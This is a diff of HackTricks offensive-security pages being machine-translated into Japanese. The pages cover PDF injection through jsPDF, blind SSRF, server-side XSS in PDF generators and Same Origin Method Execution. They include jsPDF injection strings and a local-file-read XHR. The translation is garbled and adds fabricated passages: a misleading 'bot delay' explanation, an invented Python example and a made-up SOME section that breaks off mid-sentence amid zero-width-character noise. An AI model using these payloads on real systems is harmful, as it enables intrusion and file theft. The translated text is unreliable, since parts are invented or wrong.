+これまでAcrobatについてたくさん話しましたが、PDFium(ChromeのPDFリーダー)はどうでしょうか?Chromeは厄介です。JavaScriptのサポートがAcrobatよりも制限されているため、攻撃対象の範囲ははるかに小さくなります。最初に気付いたことは、Chromeでは注釈内でJavaScriptが実行されていないことでしたので、私の概念実証はうまくいきませんでした。Chromeでベクトルを動作させるためには、少なくとも注釈内でJavaScriptを実行する必要があります。しかし、まずは注釈内のURLを上書きしてみることにしました。これは非常に簡単でした。以前に考案したベースのインジェクションを使用して、既存のURLを上書きするURIエントリを持つ別のアクションを単純に注入することができました:`var doc = new jsPDF();`\ ``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/blah)>>/A<>/F 0>>(`});``\ `doc.text(20, 20, 'Test text');` -This would navigate to portswigger.net when clicked. Then I moved on and tried different injections to call JavaScript, but this would fail every time. I thought it was impossible to do. I took a step back and tried to manually construct an entire PDF that would call JavaScript from a click in Chrome without an injection. When using an AcroForm button, Chrome would allow JavaScript execution, but the problem was it required references to parts of the PDF. I managed to craft an injection that would execute JavaScript from a click on JSPDF:`var doc = new jsPDF();`\ +これにより、クリックするとportswigger.netに移動します。次に、さまざまなインジェクションを試してJavaScriptを呼び出そうとしましたが、これは毎回失敗しました。それは不可能だと思いました。一歩引いて、インジェクションなしでChromeでクリックからJavaScriptを呼び出すための完全なPDFを手動で構築してみることにしました。AcroFormボタンを使用すると、ChromeではJavaScriptの実行が許可されますが、問題はPDFの一部への参照が必要であることでした。JSPDFからJavaScriptを呼び出すインジェクションを作成することに成功しました:`var doc = new jsPDF();`\ ``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >> <>/Type/Annot/MK<>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<>>>/Parent <>/H/P/A<> >> <>/Type/Annot/MK<>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<>>>/Parent <>/H/P/A<> >> <>/Type/Annot/MK<>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<>>>/Parent <>/H/P/A<> >> <>/Type/Annot/MK<>/Rect [ 0 0 889 792]/Subtype/Widget/AP<>>>/Parent <>/H/P/A<> >> <>/Type/Annot/MK<>/Rect [ 0 0 889 792]/Subtype/Widget/AP<>>>/Parent <>/H/P/A<>>><>/A<> <>/A<> <>/A<> >>``\ ``<> /Rect [0 0 900 900] /AA <>/(`});``\ `doc.text(20, 20, 'Test');`\ `` +## PDFium/AcrobatにおけるSSRF -## SSRF in PDFium/Acrobat - -It's possible to send a POST request with PDFium/Acrobat to perform a SSRF attack. This would be a [blind SSRF](https://portswigger.net/web-security/ssrf/blind) since you can make a POST request but can't read the response. To construct a POST request, you can use the /parent dictionary key as demonstrated earlier to assign a form element to the annotation, enabling JavaScript execution. But instead of using a button like we did before, you can assign a text field (/Tx) with the parameter name (/T) and parameter value (/V) dictionary keys. Notice how you have to pass the parameter names you want to use to the submitForm function as an array:`#)>>>><>/A<>>><>/A<> >> <>/A<☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。** - - diff --git a/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md b/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md index 6db429863..65f0613c8 100644 --- a/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md +++ b/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md @@ -1,29 +1,28 @@ -# Server Side XSS (Dynamic PDF) +# サーバーサイドXSS(動的PDF)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式PEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Server Side XSS (Dynamic PDF) +## サーバーサイドXSS(動的PDF) -If a web page is creating a PDF using user controlled input, you can try to **trick the bot** that is creating the PDF into **executing arbitrary JS code**.\ -So, if the **PDF creator bot finds** some kind of **HTML** **tags**, it is going to **interpret** them, and you can **abuse** this behaviour to cause a **Server XSS**. +ウェブページがユーザーが制御する入力を使用してPDFを作成している場合、PDFを作成している**ボットをだます**ことができ、**任意のJSコードを実行**させることができます。\ +したがって、**PDF作成ボットが**いくつかの種類の**HTML** **タグを見つけると**、それらを**解釈**し、これを**悪用**して**サーバーXSS**を引き起こすことができます。 -Please, notice that the `` tags don't work always, so you will need a different method to execute JS (for example, abusing `` タグは常に機能しないことに注意してください。そのため、JSを実行するためには別の方法が必要です(たとえば、` @@ -36,58 +35,62 @@ Also, note that in a regular exploitation you will be **able to see/download the ``` - ### SVG -Any of the previous of following payloads may be used inside this SVG payload. One iframe accessing Burpcollab subdomain and another one accessing the metadata endpoint are put as examples. - +以下のいずれかのペイロードをこのSVGペイロード内で使用することができます。Burpcollabサブドメインにアクセスするiframeと、メタデータエンドポイントにアクセスする別のiframeが例として挙げられています。 ```markup - - - - - - - - + + + + + + + + - - +xmlns="http://www.w3.org/2000/svg"> + + ``` +他のSVGペイロードについては、[https://github.com/allanlw/svg-cheatsheet](https://github.com/allanlw/svg-cheatsheet)で多くの情報を見つけることができます。 -You can find a lot **other SVG payloads** in [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) - -### Path disclosure - +### パスの開示 ```markup ``` +### 外部スクリプトの読み込み -### Load an external script - -The best conformable way to exploit this vulnerability is to abuse the vulnerability to make the bot load a script you control locally. Then, you will be able to change the payload locally and make the bot load it with the same code every time. - +この脆弱性を悪用する最も確実な方法は、ボットがローカルで制御可能なスクリプトを読み込むように脆弱性を悪用することです。その後、ローカルでペイロードを変更し、同じコードでボットに読み込ませることができます。 ```markup ')"/> ``` +### ローカルファイルの読み取り -### Read local file +攻撃者は、サーバーサイドのXSS(クロスサイトスクリプティング)脆弱性を利用して、ターゲットのシステム上のローカルファイルを読み取ることができます。 +攻撃者は、以下の手順に従ってローカルファイルを読み取ることができます。 + +1. 攻撃者は、サーバーサイドのXSS脆弱性を見つけます。 +2. 攻撃者は、XSSペイロードを作成し、ターゲットのシステムに送信します。 +3. ターゲットのシステムは、攻撃者が送信したXSSペイロードを実行します。 +4. XSSペイロードは、攻撃者が指定したローカルファイルを読み取ります。 +5. 攻撃者は、読み取ったローカルファイルの内容を取得します。 + +この攻撃は、サーバーサイドのXSS脆弱性が存在する場合にのみ成功します。攻撃者は、ターゲットのシステム上の重要な情報を取得するために、この攻撃を利用することがあります。 ```markup ``` @@ -117,56 +120,88 @@ x.open("GET","file:///etc/passwd");x.send(); ```markup ``` +### 外部のウェブページのレスポンスを添付ファイルとして取得する(メタデータエンドポイント) -### Get external web page response as attachment (metadata endpoints) +In some cases, you may need to retrieve the response of an external web page and save it as an attachment. This can be useful when dealing with metadata endpoints. +以下の手順を実行して、外部のウェブページのレスポンスを添付ファイルとして取得します。 + +1. メタデータエンドポイントのURLを特定します。 +2. リクエストを作成し、メタデータエンドポイントに送信します。 +3. レスポンスを取得します。 +4. レスポンスをファイルとして保存します。 + +以下はPythonの例です。 + +```python +import requests + +# メタデータエンドポイントのURL +url = "https://example.com/metadata" + +# リクエストを作成して送信 +response = requests.get(url) + +# レスポンスをファイルとして保存 +with open("response.txt", "wb") as file: + file.write(response.content) +``` + +このコードを実行すると、`response.txt`という名前のファイルが作成され、外部のウェブページのレスポンスが保存されます。 + +注意:この手法は、適切な権限を持つ場合にのみ使用してください。また、外部のウェブページに対してのみ使用し、不正な目的で使用しないようにしてください。 ```markup ``` +### ボットの遅延 -### Bot delay +Botの遅延は、Webアプリケーションのセキュリティをテストする際に役立つテクニックです。Botの遅延を使用することで、Webアプリケーションが適切に処理されるかどうかを確認することができます。 +ボットの遅延は、サーバー側のXSS(クロスサイトスクリプティング)攻撃において特に有用です。サーバー側のXSS攻撃では、攻撃者は悪意のあるスクリプトをWebアプリケーションに注入し、他のユーザーに影響を与えることができます。 + +ボットの遅延を使用すると、攻撃者は悪意のあるスクリプトを注入する前に、Webアプリケーションがボットであるかどうかを判断するための遅延を設定することができます。これにより、攻撃者のスクリプトが実行される前に、Webアプリケーションがボットであることを検出し、適切な対策を講じることができます。 + +ボットの遅延は、Webアプリケーションのセキュリティを向上させるための重要な手法の一つです。攻撃者が悪意のあるスクリプトを注入することを防ぐために、ボットの遅延を実装することをお勧めします。 ```markup ``` +### ポートスキャン -### Port Scan - +ポートスキャンは、ターゲットシステムのオープンポートを特定するために使用されるテクニックです。ポートスキャンは、ネットワーク上の各ポートに接続を試みることで実行されます。ポートが開いている場合、接続が成功し、ポートが閉じている場合は接続が失敗します。ポートスキャンは、システムの脆弱性を特定するために使用されることもあります。 ```markup ``` - ### [SSRF](../ssrf-server-side-request-forgery/) -This vulnerability can be transformed very easily in a SSRF (as you can make the script load external resources). So just try to exploit it (read some metadata?). +この脆弱性は非常に簡単にSSRFに変換できます(スクリプトが外部リソースを読み込むことができるため)。そのため、それを悪用してみてください(メタデータを読み取るなど)。 -### Attachments: PD4ML +### 添付ファイル: PD4ML -There are some HTML 2 PDF engines that allow to **specify attachments for the PDF**, like **PD4ML**. You can abuse this feature to **attach any local file** to the PDF.\ -To open the attachment I opened the file with **Firefox and double clicked the Paperclip symbol** to **store the attachment** as a new file.\ -Capturing the **PDF response** with burp should also **show the attachment in cleat text** inside the PDF. +**PD4ML**のようないくつかのHTML 2 PDFエンジンでは、PDFに添付ファイルを指定することができます。この機能を悪用して、PDFに**任意のローカルファイルを添付**することができます。\ +添付ファイルを開くために、ファイルを**Firefoxで開き、ペーパークリップのシンボルをダブルクリック**して添付ファイルを**新しいファイルとして保存**しました。\ +Burpで**PDFのレスポンス**をキャプチャすると、PDF内の添付ファイルが**クリアテキストで表示**されます。 {% code overflow="wrap" %} ```html @@ -175,7 +210,7 @@ Capturing the **PDF response** with burp should also **show the attachment in cl ``` {% endcode %} -## References +## 参考文献 {% embed url="https://lbherrera.github.io/lab/h1415-ctf-writeup.html" %} @@ -187,10 +222,10 @@ Capturing the **PDF response** with burp should also **show the attachment in cl ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md b/pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md index 04956279e..80e40870f 100644 --- a/pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md +++ b/pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md @@ -1,63 +1,52 @@ -# SOME - Same Origin Method Execution +# SOME - 同一オリジンメソッドの実行
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。
-## Same Origin Method Execution +## 同一オリジンメソッドの実行 -There will be occasions where you can execute some limited javascript in a page. For example, in the case where you can[ **control a callback value that will be executed**](./#javascript-function). - -In those case, one of the best things that you could do is to **access the DOM to call whatever** sensitive action you can find in there (like clicking a button). However, usually you will find this vulnerability in **small endpoints without any interesting thing in the DOM**. - -In those scenarios, this attack will be very useful, because its goal is to be able to **abuse the limited JS execution inside a DOM from a different page from the same domain** with much interesting actions. - -Basically, the attack flow is the following: - -* Find a **callback that you can abuse** (potentially limited to \[\w\\.\_]). - * If it's not limited and you can execute any JS, you could just abuse this as a regular XSS -* Make the **victim open a page** controlled by the **attacker** -* The **page will open itself** in a **different window** (the new window will have the object **`opener`** referencing the initial one) -* The **initial page** will load the **page** where the **interesting DOM** is located. -* The **second page** will load the **vulnerable page abusing the callback** and using the **`opener`** object to **access and execute some action in the initial page** (which now contains the interesting DOM). - -{% hint style="danger" %} -Note that even if the initial page access to a new URL after having created the second page, the **`opener` object of the second page is still a valid reference to the first page in the new DOM**. - -Moreover, in order for the second page to be able to use the opener object **both pages must be in the same origin**. This is the reason why, in order to abuse this vulnerability, you need to find some sort of **XSS in the same origin**. -{% endhint %} - -### Exploitation - -* You can use this form to **generate a PoC** to exploit this type of vulnerability: [https://www.someattack.com/Playground/SOMEGenerator](https://www.someattack.com/Playground/SOMEGenerator) -* In order to find a DOM path to a HTML element with a click you can use this browser extension: [https://www.someattack.com/Playground/targeting\_tool](https://www.someattack.com/Playground/targeting\_tool) - -### Example - -* You can find a vulnerable example in [https://www.someattack.com/Playground/](https://www.someattack.com/Playground/) - * Note that in this example the server is **generating javascript code** and **adding** it to the HTML based on the **content of the callback parameter:** `` . Thats why in this example you don't need to indicate the use of `opener` explicitly. -* Also check this CTF writeup: [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068) - -## References - -* [https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/](https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/) +ページ内で制限されたJavaScriptを実行できる場合があります。たとえば、実行される[**コールバック値を制御できる場合**](./#javascript-function)です。 +その場合、できることの一つは、**DOMにアクセスして**(たとえばボタンをクリックするなど)**そこにある感​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​
+日本語 -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +以下は、XSS(クロスサイトスクリプティング)に関するハッキング技術についての内容です。次の内容は、/hive/hacktricks/pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md ファイルからのものです。 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +同一オリジンメソッドの実行 +======================= + +同一オリジンメソッドの実行(SOME)は、XSSの一種であり、攻撃者が同一オリジンポリシーを回避して、同一オリジンのコンテキストでJavaScriptコードを実行することができる方法です。 + +攻撃者は、以下の手法を使用してSOMEを実行することができます。 + +1. フレームの中でのJavaScript実行 +2. イベントハンドラの悪用 +3. レスポンスの悪用 + +これらの手法を使用することで、攻撃者は同一オリジンのコンテキストで任意のJavaScriptコードを実行することができます。 + +SOMEの攻撃手法には、以下のようなものがあります。 + +- フレーム内のJavaScript実行:攻撃者は、フレーム内で実行されるJavaScriptコードを制御することができます。これにより、攻撃者は同一オリジンのコンテキストで任意の操作を行うことができます。 +- イベントハンドラの悪用:攻撃者は、イベントハンドラを悪用して、同一オリジンのコンテキストで任意のJavaScriptコードを実行することができます。これにより、攻撃者はユーザーの操作を盗聴したり、不正な操作を行ったりすることができます。 +- レスポンスの悪用:攻撃者は、サーバーからのレスポンスを悪用して、同一オリジンのコンテキストで任意のJavaScriptコードを実行することができます。これにより、攻撃者はユーザーの情報を盗み出したり、不正な操作を行ったりすることができます。 + +SOMEの攻撃手法を防ぐためには、以下の対策を実施することが重要です。 + +- 入力データの検証とエスケープ:ユーザーからの入力データを検証し、適切にエスケープすることで、攻撃者が不正なJavaScriptコードを挿入することを防ぐことができます。 +- 